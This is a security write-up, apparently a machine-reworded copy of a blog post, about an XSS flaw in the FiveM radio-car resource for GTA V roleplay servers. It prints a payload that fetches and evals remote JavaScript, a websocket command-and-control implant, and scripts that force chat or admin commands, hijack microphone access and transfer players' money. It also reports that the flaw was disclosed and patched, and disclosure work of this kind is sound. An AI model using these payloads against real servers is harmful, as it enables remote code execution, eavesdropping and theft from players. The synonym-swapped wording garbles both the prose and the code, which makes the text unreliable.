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Hacking GTA V RP Servers Utilizing Internet Exploitation Methods

Hacking GTA V RP Servers Utilizing Internet Exploitation Methods

2023-08-29 13:35:16

As of 2023, Grand Theft Auto V stays the second best-selling online game at 185,000,000 models bought, second to Minecraft1.
Its success can largely be attributed to the sport’s on-line multiplayer mode, GTA On-line, which permits gamers to discover a sandboxed
world with mates and strangers alike. Though the playable world and content material is huge, the expertise is shortly degraded as a result of
peer-to-peer nature of the sport. The client-sided nature of the sport permits for a plethora of exploits, together with the flexibility to crash
gamers, spawn autos, and even corrupt different’s accounts. The shortage of player-led servers additionally signifies that the sport
can’t be modded within the conventional sense.

Hackers ruining the GTA On-line expertise

Introducing FiveM

FiveM is an open supply third-party multiplayer mod by Cfx.re2, which permits gamers to create or hook up with devoted servers.
These servers might be modded to the creator’s liking, and can be utilized to create customized sport modes, maps, and in any other case unimaginable experiences.
A preferred instance of that is roleplay servers, which permits gamers to roleplay as civilians, law enforcement officials, and criminals.
These experiences are created with sport modifications referred to as “sources”. Sources on a roleplay server can be utilized to permit for the
customized creation of autos, customized interiors & exteriors, drug-dealing mechanics, and extra.

These sources can constructed utilizing Lua, C#, or JavaScript. A typical setup would use Lua to deal with server-side actions and JavaScript to show
customized person interfaces. These scripts talk via NUI callbacks which permit interoperability between the Chromium Embedded Framework that
renders the customized interfaces and the Lua scripting engine.

Discovering Servers

FiveM server list
FiveM server listing

FiveM aggregates a listing of servers that may be filtered by numerous standards similar to identify, area, participant depend, and so on…
Choosing a server lets you view it in additional element, revealing the listing of sources, and permitting you to attach
via the clicking of a button.

Detailed server view
Detailed server view

After viewing a number of servers from this listing, rcore_radiocar was a useful resource that piqued my curiosity. This allowed
gamers to specify YouTube and SoundCloud hyperlinks to broadcast music from the participant’s automotive to different close by gamers.

My preliminary thought was, it might be attainable to leak participant’s IPs by specifying a URL that I managed. To my shock,
this labored. I wasn’t but positive of how this useful resource labored beneath the hood and because it was paid I could not simply sift
via the supply. Or so I assumed.

CEF Distant Debugging

FiveM exposes the CEF Distant Debugging interface on localhost:13172. This enables us to examine and debug the useful resource’s
code for dealing with the person interface with ease. Every useful resource is loaded into its personal iframe.

Debugging the Chromium Embedded Framework view of a FiveM server
Debugging the Chromium Embedded Framework view of a FiveM server

A fast peek into the useful resource we’re inquisitive about reveals a comparatively easy file tree.

rcore_radiocar
└── html
    ├── css
    │   ├── reset.css
    │   └── fashion.css
    ├── index.html
    └── scripts
        ├── SoundPlayer.js
        ├── class.js
        ├── capabilities.js
        ├── listener.js
        └── vue.min.js

A peek into SoundPlayer.js reveals the performance for the way the music will get performed on the client-side.
This logic is dealt with inside the create() perform:

create()
	{
        
	    var hyperlink = getYoutubeUrlId(this.getUrlSound());
        if(hyperlink === "")
        {
            this.isYoutube = false;

            this.audioPlayer = new Howl({
                src: [this.getUrlSound()],
                loop: false,
                html5: true,
                autoplay: false,
                quantity: 0.0,
                format: ['mp3'],
                onend: perform(occasion){
                    ended(null);
                },
                onplay: perform(){
                    isReady("nothing", true);
                },
            });
            $("#" + this.div_id).take away();
            $("physique").append("<div id = '"+ this.div_id +"' fashion='show:none'>"+this.getUrlSound() +"</div>")
        }
        else
        {
            
        }
	}

The useful resource makes an attempt to extract a YouTube ID from the URL (e.g: extract D7DVSZ_poHk from https://www.youtube.com/watch?v=D7DVSZ_poHk).
If an ID can’t be extracted, it’s handled as an unknown supply and makes use of audio library Howler.js to parse and play
the audio. Afterwards, the useful resource graciously appends our sound’s URL to the DOM utilizing JQuery’s append perform.

If it wasn’t instantly apparent, this screams susceptible to XSS. Because the person is ready to specify any URL, an attacker is
capable of craft an XSS payload and execute arbitrary JavaScript on participant’s machines.

To check this concept, I crafted an XSS payload that did precisely this. Utilizing a purposefully faulty img tag, we’re ready to make use of the onerror
attribute to fetch a bigger payload and execute it utilizing JavaScript’s eval perform.

The XSS payload reads as such:

<img src="#" onerror='fetch(`https://[redacted].com/payload.js`).then(res=>res.textual content().then(r=>eval(r)))' fashion="show:none" />

The precise loaded payload accommodates logic to attach the participant to a websocket that I management in order that we’re capable of feed arbitrary
JavaScript via a management panel.

The injected payload reads as follows:

globalThis.serverName = 'default';
globalThis.lastPing = Date.now()

const sendMessage = (socket, message) => socket.ship(JSON.stringify(message));

const pingCommand = (_, socket) => {
  globalThis.lastPing = Date.now();
  sendMessage(socket, { kind: "pong" });
}

const evalCommand = ({ code }, socket) => {
  const returned = eval(code); 
  sendMessage(socket, { kind: "evaled", returned: `${returned}` });
};

globalThis.instructions = {
  eval: evalCommand,
  ping: pingCommand,
}

globalThis.begin ??= () => {
  if (globalThis.socket) {
    return;
  }

  const socket = new WebSocket(`wss://[redacted]/join/${globalThis.serverName}`);
  globalThis.socket = socket;

  const closed = () => {
    globalThis.socket = undefined;
    setTimeout(() => globalThis.begin(), 500)
  };
  socket.onclose = closed;
  socket.onerror = closed;
  socket.onmessage = ({ knowledge }) => {
    if (!knowledge) return;

    const { kind, ...relaxation } = JSON.parse(knowledge);
    globalThis.instructions[type]?.(relaxation, socket);
  };
}

globalThis.begin();

The one factor left was to check this. The plan goes as follows:

  1. Discover a server with the xsound and rcore_radiocar useful resource.
  2. Get inside a car
  3. Run the /radiocar command and drop the XSS payload
  4. Revenue???

Now, a video demonstrating the exploit:

XSS payload being dropped and examined utilizing numerous scripts

As I roam the town in my automotive, close by gamers try to play the music from the URL being
broadcasted by my automotive. Since this “URL” is a maliciously crafted payload, they’re as an alternative connecting
to my websocket awaiting additional command.

Additional instructions

FiveM exposes numerous capabilities to the CEF browser. One helpful perform, window.invokeNative, can be utilized to
execute sure duties in C++-land. A peek into parts/nui-core/src/NUICallbacks_Native.cpp tells us what
we are able to do.

shopper->AddProcessMessageHandler("invokeNative", [] (CefRefPtr<CefBrowser> browser, CefRefPtr<CefProcessMessage> message)
  {
    auto args = message->GetArgumentList();
    auto nativeType = args->GetString(0);

    nui::OnInvokeNative(nativeType.c_str(), ToWide(args->GetString(1).ToString()).c_str());

    if (nativeType == "stop")
    {
      
      ExitProcess(0);
    }
    else if (nativeType == "openUrl")
    {
      std::string arg = args->GetString(1).ToString();

      if (arg.discover("http://") == 0 || arg.discover("https://") == 0)
      {
        ShellExecute(nullptr, L"open", ToWide(arg).c_str(), nullptr, nullptr, SW_SHOWNORMAL);
      }
    }
    else if (nativeType == "setConvar" || nativeType == "setArchivedConvar")
    {
      if (nui::HasMainUI())
      {
        
      }
    }
    else if (nativeType == "getConvars")
    {
      if (nui::HasMainUI())
      {
        
      }
    }
    return true;
});
  • openUrl: Self explanatory, opens a URL by working ShellExecute with the open parameter.
    Fortunately, the argument is checked to make sure it is a URL earlier than executing the command to stop
    arbitrary command execution.
  • stop: Additionally self explanatory, shutdown the sport.

Different capabilities present on the window object embrace bangers similar to:

  • window.fxdkClipboardRead: Learn the person’s clipboard, utterly bypassing the Chromium permissions
    mannequin.
nuiApp->AddV8Handler("fxdkClipboardRead", [](const CefV8ValueList& arguments, CefString& exception)
	{
		if (OpenClipboard(nullptr))
		{
			ClipboardCloser nearer;

			if (HANDLE ptr = GetClipboardData(CF_UNICODETEXT))
			{
				if (wchar_t* textual content = static_cast<wchar_t*>(GlobalLock(ptr)))
				{
					std::wstring textString(textual content);

					GlobalUnlock(ptr);

					return CefV8Value::CreateString(textString);
				}
			}
		}
		return CefV8Value::CreateString("");
	});
  • window.fxdkClipboardWrite: Write to the person’s clipboard.

As of Could 27 2023, the clipboard capabilities are not accessible. Presumably due
to misuse by malicious server admins & useful resource builders.

The DOM

Because the exploit lives within the DOM with isolation disabled, we’re additionally capable of hijack different useful resource’s iframes.

See Also

Make customers ship chat messages

A peek into chat/html/App.js tells us how in-game messages are dealt with:


window.publish = (url, knowledge) => {
  var request = new XMLHttpRequest();
  request.open('POST', url, true);
  request.setRequestHeader('Content material-Sort', 'utility/json; charset=UTF-8');
  request.ship(knowledge);
}

ship(e) {
  if(this.message !== '') {
    publish('http://chat/chatResult', JSON.stringify({
      message: this.message,
    }));
  } else {
    this.hideInput(true);
  }
}

Good, an attacker ought to be capable to have customers ship chat messages by sending
a request to this URL with the message payload being our chat message:

fetch("https://chat/chatResult", {
    methodology: "POST",
    physique: JSON.stringify({ message: "check" }),
});

Result of the payload from above
Results of the payload from above

An attacker can even execute in-game instructions (Make admins execute /ban, /kick, and so on…).

Abusing Internet APIs

The attacker can even make the most of numerous Internet APIs to do issues like entry the person’s microphone:
Nevertheless, FiveM prompts the person for microphone entry which can look suspicious.

perform getLocalStream() {
  navigator.mediaDevices
    .getUserMedia({ video: false, audio: true })
    .then((stream) => {
      window.localStream = stream; 
      window.localAudio.srcObject = stream; 
      window.localAudio.autoplay = true; 
    })
    .catch((err) => {
      console.error(`you bought an error: ${err}`);
    });
}

Infected resource rcore_radiocar asking for media device permission. Very suspicious
Contaminated useful resource rcore_radiocar asking for media system permission. Very suspicious

So as an alternative, we are able to hijack an iframe which will have already got microphone permission.
A superb candidate being gksphone, a useful resource that offers the gamers a cellphone
and the flexibility to name one another.

window.gksPhone = prime.citFrames['gksphone'];

window.reqMicrophoneScript = prime.doc.createElement('script');
window.reqMicrophoneScript.innerHTML = `
perform requestMicrophone() {
    return navigator.mediaDevices.getUserMedia({ audio: true })
    .then((stream) => {
      // ...
    })
}
requestMicrophone();
`



window.gksPhone.contentWindow.doc.physique.appendChild(window.reqMicrophoneScript);

Stealing Participant’s Cash

An attacker is ready to switch all participant’s cash to themselves (or to any specified ID)
by abusing the financial institution useful resource.


$.publish('http://financial institution/switch', JSON.stringify({
    to: $('#idval').val(),
    amountt: $('#transferval').val()
}));

Altering Everybody’s Appearence

const fivemAppearanceFrame = prime.window.citFrames["fivem-appearance"].contentWindow;
const fetch = fivemAppearanceFrame.fetch;

const baseUrl = `https://fivem-appearance`;

perform randomInteger(min, max) {
  return Math.flooring(Math.random() * (max - min + 1)) + min;
}

const important = async () => {
  
  const response = await fetch(baseUrl + "/appearance_get_settings_and_data", {
    methodology: "GET",
    headers: {
      "Content material-type": "utility/json; charset=UTF-8",
    },
  });
  const physique = await response.json();

  if (physique && "appearanceSettings" in physique) {
    const { parts } = physique.appearanceSettings;
    parts.forEach((part) => {
      const componentId = part.component_id;
      const drawableId = randomInteger(
        part.drawable.min,
        part.drawable.max
      );
      const textureId = randomInteger(
        part.texture.min,
        part.texture.max
      );

      
      fetch(baseUrl + "/appearance_change_component", {
        methodology: "POST",
        headers: {
          "Content material-type": "utility/json; charset=UTF-8",
        },
        physique: {
          component_id: componentId,
          drawable: drawableId,
          texture: textureId,
        },
      });
    });
  }
};

important();

Affect

A fast script Pimothy and I wrote to parse the FiveM server listing and filter by sources
exhibits that a whole lot of servers contained the susceptible sources with the potential
to contaminate hundreds of gamers:

xsound discovered on w9a... gamers: [628/2048]
rcore_radiocar discovered on 8bo... gamers: [256/500]
xsound discovered on 35a... gamers: [299/400]
xsound discovered on a6r... gamers: [314/2048]
rcore_radiocar discovered on a6r... gamers: [314/2048]
xsound discovered on gq6... gamers: [313/2048]
xsound discovered on 4ez... gamers: [198/500]
xsound discovered on pkp... gamers: [570/1069]
xsound discovered on npx... gamers: [347/2048]
xsound discovered on 8qq... gamers: [252/800]
rcore_radiocar discovered on qrv... gamers: [137/200]
xsound discovered on qrv... gamers: [137/200]
xsound discovered on mko... gamers: [90/333]
xsound discovered on mpd... gamers: [160/600]
xsound discovered on aqq... gamers: [137/1337]
xsound discovered on 23o... gamers: [135/2048]
xsound discovered on gro... gamers: [120/150]
xsound discovered on l54... gamers: [224/512]
rcore_radiocar discovered on j8d... gamers: [182/400]
xsound discovered on e3r... gamers: [122/175]
xsound discovered on eaz... gamers: [160/500]
xsound discovered on rk6... gamers: [60/300]
and lots of extra...

As proven above, the severity of this exploit is pretty excessive as an attacker is ready
to execute arbitrary JavaScript to all gamers on a server permitting for issues such
as microphone entry, clipboard contents, and extra. It was clear I wanted to report
it to the useful resource developer and so I did and on May 18 2022, a patch was released
to fix the XSS.

setSoundUrl(end result) {
	this.url = end result.change(/<[^>]*>?/gm, '');
}

I had an concept to search out servers which will nonetheless be susceptible to this exploit so I might report it
to the server house owners. It could work by traversing the server listing and requesting their xsound useful resource
to check if the patch was utilized (seemingly utilizing a regex). Nevertheless, the FiveM server encrypts sources and
decrypts them on the shopper. The decrypt routine is closely obfuscated by their anticheat adhesive.dll
making automation infeasible.

Conclusion

FiveM supplies a robust framework to create sport experiences not in any other case attainable
in Grand Theft Auto. Nevertheless, this energy might be abused by attackers via the usage of
XSS in susceptible NUI sources. You will need to make the most of correct enter sanitization
and different finest practices to stop exploits like this. Server house owners also needs to maintain
put in sources updated.

Particular Thanks

  • pimothy – Helped with the analysis for this venture. Created the server listing aggregator to scan for susceptible servers.
  • jordin – A check topic to assist check the extra extreme payloads (Financial institution transfers, Microphone entry, and so on…)

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